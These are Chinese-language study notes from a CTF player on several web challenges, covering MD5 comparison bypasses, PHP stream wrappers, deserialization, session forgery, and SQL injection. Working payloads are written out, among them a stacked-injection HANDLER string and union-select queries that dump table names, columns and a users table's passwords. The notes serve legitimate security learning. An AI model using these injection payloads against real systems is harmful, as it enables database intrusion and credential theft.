[BJDCTF2020]Easy MD5
1
首先点开只有一个登录界面,输入万能密码没得有得回显
点击源码,无异样
他说的是md5所以想这里是不是有一个md5的绕过
输入ffifdyop绕过md5万能密码
进入下一个页面
查看源码,得知我们需要构造a!=b同时md5(a)=md5(b)
php特性:会将hash值开头为0e的值直接解析为0
故我们输入两个md5hash值前两位为0e的加密字段即可
这里要收费,我 没钱,这里去查阅了一些资料,md5这玩意相当于超损压缩,无法逆向修复,只能爆破,从某种角度上来说并不算是加密。验证方法客观上只能和数据库中保存的信息进行匹配,这个网站原理也是如此。
php无法解析数组,会直接将值等于0
所以直接传参数组就可以得到flag
[ZJCTF 2019]NiZhuanSiWei
php代码审计,让我们传入3个参数,也就是3个绕过。我们尝试去理解一下
第一个text:需要被定义且,内容是welcome to the zjctf解决方法是使用php中的data伪协议
使用data伪协议绕过圆括号、反引号被过滤_梦梦梦·的博客-CSDN博客_data伪协议
playload:
?text=data:,welcome to zjctf
第二个flie不能为/flag/其实我寻思也没出现flag。后面他给了一个提示,useless.php我们用php伪协议fliter来写
php://filter/read=convert.base64-encode/resource=useless.php
得到 的加密字段到cyberchef解密
第三个 password序列化后要与没有序列化时一样
wp讲的太好了,多看几遍这道题,讲的太好了
[MRCTF2020]Ez_by pass
这道题相对简单一点
打开发现一堆代码,可以阅读;F12代码审计
只有两个知识点一个时md5强等于的绕过,用数组。另一个是绕过数字且弱等于数字
很就没有做过简单题了,一下信心就上来 了
[HCTF 2018]admin
这道题是可以爆破的,没有登录验证信息。
大佬解法:
第一种session
首先是对session的一个介绍:这里可以看到,session是用户端发送给服务端的东西,能告诉服务端用户是否登录或具有某种权限。
Session伪造记录_小蓝同学`的博客-CSDN博客_session 伪造
我们可以拿到网页的源码
接下来的 思路大概是把一个session先解密,然后修改,再使用源码的盐进行一个加密伪装,发过去,修改cookie
得到flag
[网鼎杯 2020 青龙组]AreUSerialz
反序列化部分
核心代码部分
这里有一个绕过,我们弱等于“2”读取文件,同时要不能强等于“1”可以通过int类型的2来绕过
同时protected属性的在序列化时会被引入\x00, 所以我们写代码的时候要改成publc属性。
最后在源码中查找flag
[GXYCTF2019]BabySQli
核心
在联合注入虚拟表,能把自己设置的密码一起注入进去
[GYCTF2020]Blacklist
堆叠注入
堆叠注入,很容易理解
然后这道题很容易得到表明库名
发现flag,然后
desc FlagHere
这道题过滤了select看wp可以通过HANDLER语法可以绕过select限制
# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]
# 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
# 2、通过索引查看表
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
# 3、不通过索引查看表
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
# 关闭已打开的句柄
HANDLER tbl_name CLOSE
playload:
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
这里说一下文件上传的题:
思路很简单,实操也很简单,就是链接很难。
[网鼎杯 2018]Fakebook 1
ssrf
首先登录注册后是一个注入
no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'
no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users